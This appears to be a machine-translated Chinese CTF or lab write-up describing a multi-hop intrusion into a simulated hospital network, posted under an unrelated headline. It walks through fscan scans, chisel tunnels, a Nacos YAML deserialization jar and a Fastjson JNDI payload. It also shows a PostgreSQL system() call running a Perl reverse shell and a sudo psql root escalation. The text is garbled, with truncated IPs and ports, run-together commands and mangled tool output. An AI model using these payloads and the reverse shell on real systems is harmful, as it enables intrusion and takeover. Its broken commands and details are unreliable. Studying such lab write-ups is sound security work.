转转牵头投资建立B2B二手交易平台“菜货侠”,深度探索二手手机产业链
06-18
原文经作者授权发表。首次发布于:Prophet Community-jar heapdump_tool.jar “heapdump”。
我搜索了关键词passowrd、shiro、key等,没有数据库账户密码。钥匙被泄露了。
没想到是不是工具的问题,就换了一个工具,用了JdumpSpider。 / -user root -perm --print 2>/dev/null 找到vim,直接猜出flag位置。
代码语言:javascript copy vim /root/flag/flag01.txt 内网检测在线VIPER信息采集上传 fscan进行内网网段扫描 代码语言:javascript copy meterpreter > shell -c './fscan -h .30.12.5/ 24' ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ // /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan版本:1.8.3start infoscantrying RunIcmp2当前用户权限无法发送 icmp 数据包start ping(icmp) Target .30.12.6 is alive(icmp) Target .30.12.5 is alive(icmp) Target .30.12 is alive[*] Icmp is alive。主机长度为: .30.12.:22 open.30.12 .5:22 open.30.12.:open.30.12.5:open.30.12.6:open.30.12.6:open.30.12.6:open.30.12.6:open.30.12.:open[*] 活动端口 len 为:9start vulscan[*] NetBios .30.12.6 WORKGROUP\SERVER02 [*] NetInfo [*].30.12.6 [->]Server02 [ ->].30.12.6[*] WebTitle 代码:len:0 title:无 跳转 url: WebTitle 代码:len: title:医疗管理后端[*] WebTitle 代码:len: title:HTTP 状态 – 未找到[* ] WebTitle code:len: title: 医院后台管理平台 [+] PocScan poc-yaml-alibaba-nacos [+] PocScan poc-yaml-alibaba-nacos-v1-auth-bypass [+] PocScan poc-yaml-spring- Actuator -heapdump-file代理构建VPS端代码语言:javascript copy ./chisel server -p -反向目标机器代码语言:javascript copy ./chisel client .3..:R:0.0.0.0::socks 攻击域用户一(nacos Yaml反序列化)信息泄露 Fscan扫描结果中发现代码语言:javascript copy [+] PocScan poc-yaml-alibaba-nacos [+] PocScan poc-yaml-alibaba-nacos-v1-auth-bypass 所以尝试用户登录绕过漏洞并成功获取账户密码,然后尝试编写用户test登录成功。
然而,这些还不足以实现RCE,而且后端什么也没有。搜索相关漏洞,发现两个,一个是内存马注入,另一个是Yaml尝试反序列化内存时,尝试使用工具写入内存。
如果内存没有写入,很可能是Yaml反序列化的原因。尝试使用 src/artsploit/AwesomeScriptEngineFactory.javajar -cvf yaml-payload.jar -C src/ 的 Yaml 反序列化攻击工具。
在Nacos中,发现dataid是db-config,写入其中,然后如果使用Jar路径,我们需要在这里上传。去目标机,因为这台目标机无法出网,我们只能允许它访问内网,所以我们需要先将jar包放入目标机,然后在目标机上开启http服务机器。
这里我们成功收到了echo,说明确实存在Yaml反序列化漏洞,但是我们需要更改yaml-payload中的Java文件。可以看到这本来就是一个计算器,没有任何作用。
我们改为添加管理员用户并在更改后保存。然后打成jar包。
代码语言:javascript copy javac src/artsploit/AwesomeScriptEngineFactory.javajar -cvf yaml-payload.jar -C src/。同样,将jar包上传到目标机器上,再次输入。
现在您可以通过 RDP 连接到攻击域。用户2(Fastjson)从Mimikatz收集信息,发现密码都在工作组中。
漏洞检测:我们还在Fscan中发现了另一种Web服务的代码语言:javascript copy [*] WebTitle code:len: title:医院后台管理平台访问。使用 dirsearch 扫描目录并查找文档、示例。
访问文档并查看 Tomcat。此版本的 Tomcat 存在文件包含漏洞。
如果有上传点,就可以实现文件包含,从而达到RCE的目的(以前的射击场的想法)。但是这里的标题描述中提到了fastjson。
让我们抓住它的包并在内容中只写一个 { 。如果是Fastjson,不完整的时候就会出现Fastjson。
出现Fastjson,说明确实是Fastjson。接下来使用dnslog检测是否存在漏洞代码语言:javascript copy {"qwq":{"@type":"java.net.Inet4Address","val":"4mmi9n.dnslog.cn"}}并成功收到回显,说明Fastjson存在漏洞。
接下来利用该漏洞,使用工具jndi_tool.jar部署恶意类(部署在目标机器上,因为域成员可能无法连接互联网),工具链接 "a":{ "@type":"java .lang.Class", "val" :"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":" .30.12.5:/Object", "autoCommit":true }} 成功收到shell,并且是root权限攻击域用户三(Grafana+psql)。收集信息 ifconfig 发现多个网卡。
上传Fscan扫码语言: javascript copy root@web03:/# ./fscan -h .30.54./24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ // /_\ \_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan版本:1.8.3start infoscan( icmp) 目标 .30.54. 处于活动状态(icmp) 目标 .30.54.12 处于活动状态[*] Icmp 活动主机长度为: .30.54.:open.30.54.12:22 open.30.54.: 22 打开.30.54.12:打开.30.54.12:打开.30.54.:open[*] alive ports len is: 6start vulscan[*] WebTitle code:len: title:医院后台管理平台[*] WebTitle code:len:29 title:None 跳转网址: WebTitle code:len:9 title :Grafana发现了另一个域用户,但这和之前的网段不同,所以我们需要搭建多层代理。我们的第一层代理是用VPS作为服务器,外网目标机作为客户端搭建的。
是的,那么我们在搭建第二层的时候,就使用外网目标机作为服务器,然后使用域用户2作为客户端。此时多层代理代码语言实现为:javascript复制VPS->外网目标机->域用户2->域用户3,所以然后直接在外网目标机上搭建服务器,指令为代码语言如下: javascript copy./chisel server -p --reverse 然后在域用户2上构建客户端 代码语言: javascript copy ./chisel client .30.12.5:R:0.0.0.0::socks 此时,代码语言设置为:javascript复制外网->.3..:(VPS)->.30.12.5:(域用户2)->.30.54.12(域用户三)我们更改了配置文件然后尝试curl用户三成功。
在Windows中,使用Proxifier挂起代理链,尝试访问域用户三漏洞检测登录框。一定要尝试弱密码。
使用admin登录成功,admin,利用漏洞,搜索相关漏洞,发现CVE-8。使用该工具直接提取敏感信息。
工具链接exp -u“xxx”。需要注意的是,我用域用户2执行命令。
使用本机然后通过代理执行经常会卡住。获取 PostgreSQL 账户代码语言: javascript copy postgres:Postgres@ 使用 Proxifier 全局代理连接数据库,并使用 Navicat 代码语言查询数据库版本: javascript copy select version();知道数据库是8.1版本,那么更改 root 用户密码搜索相关版本并找到,所以我们在这里调用相关命令,然后使用命令执行来实现反弹shell。
这里的反弹shell反弹到我们的域用户二,因为他和域用户三在同一个网段下。我们先听听。
其港口之一。然后在 Navicat 上执行以下代码语言: javascript copy select system('perl -e \'use Socket;$i=".30.54.";$p=5;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp " ));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S ");exec("/bin/sh -i");};\'');通过 python3 -c 'import pty;pty.spawn("/bin/bash")' 成功反弹 shell 并进行交互 Shell 权限提升,但目前只是普通权限。
权限需要升级。通过执行sudo -l,我们发现psql引用的是/usr/local/postgresql/bin/psql。
代码语言:javascript copy root=# \?!/bin/bash# 需要输入。唯一的就是 \?和!/bin/bash,即可获得root权限。
获取root/flag目录中的flag。人们是安全的,知道什么是错的,并保留什么是错的。
手中有剑,心中有安全。主要研究方向包括:Web、内联网、红蓝对抗、代码审计、Android逆向工程、CTF。
版权声明:本文内容由互联网用户自发贡献,本站不拥有所有权,不承担相关法律责任。如果发现本站有涉嫌抄袭的内容,欢迎发送邮件 举报,并提供相关证据,一经查实,本站将立刻删除涉嫌侵权内容。
标签:
相关文章
06-06
06-18
06-17
06-18
06-18
06-17
最新文章
【玩转GPU】ControlNet初学者生存指南
【实战】获取小程序中用户的城市信息(附源码)
包雪雪简单介绍Vue.js:开学
Go进阶:使用Gin框架简单实现服务端渲染
线程池介绍及实际案例分享
JMeter 注释 18 - JMeter 常用配置组件介绍
基于Sentry的大数据权限解决方案
【云+社区年度征文集】GPE监控介绍及使用